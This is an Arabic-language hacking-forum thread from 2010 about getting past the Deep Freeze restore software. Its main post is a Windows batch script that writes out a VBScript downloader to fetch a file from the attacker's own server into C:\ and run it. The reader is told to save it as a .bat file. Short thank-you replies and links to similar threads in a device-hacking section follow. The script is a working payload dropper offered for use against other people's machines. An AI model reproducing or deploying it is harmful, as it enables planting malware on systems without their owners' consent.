][دعس الديب فريز بحتراف مع DR.THMOORY][

DR.THMoORY · 06-18-2010, 09:25 AM

][][][][][][][][][][][][][][][][][][][][][][][][][][][][][

قبل..

-------------------------------------------------------------------
بعد..

------------------------------------------------------------------------------

اقتباس


	echo off set file="رابط سيرفرك المباشر" set dlto="C:\" ::---------------- if exist %temp%\dl.vbs del /q %temp%\dl.vbs echo HTTPDownload %file%,%dlto% >> %temp%\dl.vbs echo Sub HTTPDownload( myURL, myPath ) >> %temp%\dl.vbs echo Dim i, objFile, objFSO, objHTTP, strFile, strMsg >> %temp%\dl.vbs echo Const ForReading = 1, ForWriting = 2, ForAppending = 8 >> %temp%\dl.vbs echo Set objFSO = CreateObject( "Scripting.FileSystemObject" ) >> %temp%\dl.vbs echo If objFSO.FolderExists( myPath ) Then >> %temp%\dl.vbs echo strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) ) >> %temp%\dl.vbs echo ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "" ) - 1 ) ) Then >> %temp%\dl.vbs echo strFile = myPath >> %temp%\dl.vbs echo Else >> %temp%\dl.vbs echo Exit Sub >> %temp%\dl.vbs echo End If >> %temp%\dl.vbs echo Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True ) >> %temp%\dl.vbs echo Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" ) >> %temp%\dl.vbs echo objHTTP.Open "GET", myURL, False >> %temp%\dl.vbs echo objHTTP.Send >> %temp%\dl.vbs echo For i = 1 To LenB( objHTTP.ResponseBody ) >> %temp%\dl.vbs echo objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) ) >> %temp%\dl.vbs echo Next >> %temp%\dl.vbs echo objFile.Close( ) >> %temp%\dl.vbs echo End Sub >> %temp%\dl.vbs start %temp%\dl.vbs

اخر شي احفظه بصيغه
bat

DF]us hg]df tvd. fpjvht lu DR>THMOORYDF

DaRk DrEaM · 06-18-2010, 11:22 AM

مشكور يا غالي ولكن سوف يتم نقله الى القسم المخصص

GNGR1 · 06-18-2010, 11:25 AM

لآهنت يا بطل

ودي

عنكبوت الاجهزة · 06-22-2010, 05:04 AM

مشكوووووووور

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
تفادي الديب فريز Deep Freeze	MasTer MiND	قســم إختــراق الأجهــزة	28	06-20-2017 04:19 AM
برنامج الديب فريز لحماية جهازك	THE GHOST	قســم إختــراق الأجهــزة	3	09-05-2008 08:45 PM
طريقة لازالة الديب فريز من دون برامج	The Final Doom	قســم إختــراق الأجهــزة	5	04-04-2008 01:54 AM

التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام